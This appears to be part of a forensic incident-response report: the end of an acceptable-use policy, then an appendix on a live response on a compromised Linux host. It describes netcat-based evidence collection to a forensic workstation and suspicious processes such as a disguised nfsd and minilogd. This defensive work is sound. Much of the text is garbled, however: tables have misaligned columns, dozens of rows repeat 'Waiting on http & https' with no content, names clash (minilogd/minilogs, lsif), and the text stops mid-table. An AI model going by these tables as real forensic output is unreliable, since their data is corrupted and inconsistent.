5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the “Laptop Security Tips”.

6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.

7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.

8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use

The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services).

Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions
Term | Definition
--- | ---
Spam | Unauthorized and/or unsolicited electronic mass mailings.

7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

```
nc  ls  date  w  netstat
lsop  ps  lsmod  ifconfig  md5sum
sh
```

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```
root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command “ls –l” is used to identify the library files required;

```
-rwrxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>/mnt/floppy/sh</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td>/mnt/floppy/date</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>/mnt/floppy/date</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>/mnt/floppy/sh</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>/mnt/floppy/sh</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>Command</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>-------------</td>
</tr>
<tr>
<td><code>w.txt</code></td>
<td>/mnt/floppy/nc 192.168.1.120 1111</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-sockets.txt</code></td>
<td>/mnt/floppy/netstat -anp</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsmod.txt</code></td>
<td>/mnt/floppy/lsmod</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ps.txt</code></td>
<td>/mnt/floppy/ps -auxw</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-routes.txt</code></td>
<td>/mnt/floppy/netstat -anr</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ifconfig.txt</code></td>
<td>/mnt/floppy/ifconfig -a</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsof.txt</code></td>
<td>/mnt/floppy/lsof</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat.txt</code></td>
<td>/mnt/floppy/netstat -anp</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; statoptime.txt</code></td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td><code>md5sum -b *.txt &gt; live-response-june30.md5</code></td>
<td>-</td>
</tr>
</tbody>
</table>

Table 5 Live response command summary

The live response starts with the execution of a trusted shell using `/mnt/floppy/sh`. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation `nc` (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- `-l` sets up netcat to listen for an incoming connection.
- `-v` is verbose mode, connection information will be displayed.
- `-n` do not do host or port name lookups.
- `-p <port>` identifies the port netcat will listen on.

The victim machine commands are listed below:

- `date` establishes the startdate for the live response.
- `who` identifies who is logged onto the victim machine.
- `netstat -anp` shows the internet sockets that are open on the victim.
- `lsof` command helps to identify backdoors and strange network services.
- `ps -auxw` provides the current running processes.
- `lsmod` shows what kernel modules are loaded.

---

• ‘netstat -anr’ displays the routing table.
• ‘ifconfig -a’ shows the configuration of the network interface(s).
• ‘ls -al /proc’ was missing ‘-R’. Without the ‘-R’ switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
• ‘date’ establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5 \(^{16}\)) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsof.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsif is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/libd-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/lib686/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Type</th>
<th>Flags</th>
<th>PID</th>
<th>Pr</th>
<th>Session</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogs</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>7u</td>
<td>CHR</td>
<td>1.3</td>
<td>0</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>8u</td>
<td>unix</td>
<td>0xc180540</td>
<td>0</td>
<td>551280</td>
<td>/dev/log</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>0</td>
<td>19678</td>
<td>*:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>0</td>
<td>19678</td>
<td>*:http (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>7u</td>
<td>DIR</td>
<td>3.5</td>
<td>0</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>8u</td>
<td>DIR</td>
<td>3.5</td>
<td>0</td>
<td>2048</td>
<td>40961</td>
<td>/bin</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>0</td>
<td>19678</td>
<td>*:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1.3</td>
<td>0</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1.3</td>
<td>0</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>7u</td>
<td>FIFO</td>
<td>0.5</td>
<td>0</td>
<td>551501</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>8w</td>
<td>FIFO</td>
<td>0.5</td>
<td>0</td>
<td>551501</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>9u</td>
<td>IPv4</td>
<td>551503</td>
<td>0</td>
<td>19678</td>
<td>*:3049 UDP</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>0</td>
<td>19678</td>
<td>*:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>0</td>
<td>19678</td>
<td>*:http (LISTEN)</td>
<td></td>
</tr>
</tbody>
</table>

File of interest:
- Hidden directory:
- Waiting on http & https
- Notable node:
<table>
<thead>
<tr>
<th>File &amp; path of interest</th>
<th>File &amp; path of interest</th>
<th>File &amp; path of interest</th>
</tr>
</thead>
<tbody>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>File &amp; path</td>
<td>File &amp; path</td>
<td>File &amp; path</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
<tr>
<td>Waiting on http</td>
<td>Waiting on http</td>
<td>Waiting on http</td>
</tr>
<tr>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
<td>Waiting on http &amp; https</td>
</tr>
<tr>
<td>Waiting on https</td>
<td>Waiting on https</td>
<td>Waiting on https</td>
</tr>
</tbody>
</table>
The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

"/usr/sbin/nfsd -f /sbin/sshd_config"

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>10606</td>
<td>0</td>
<td>1</td>
<td>79844</td>
<td>1340</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10607</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10608</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10609</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10610</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10611</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10612</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10613</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>Priority</td>
<td>Session</td>
<td>Status</td>
<td>Time</td>
<td>Command</td>
<td>Options</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>-------</td>
<td>----------</td>
<td>---------</td>
<td>--------</td>
<td>--------</td>
<td>----------------------------------</td>
<td>----------------------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
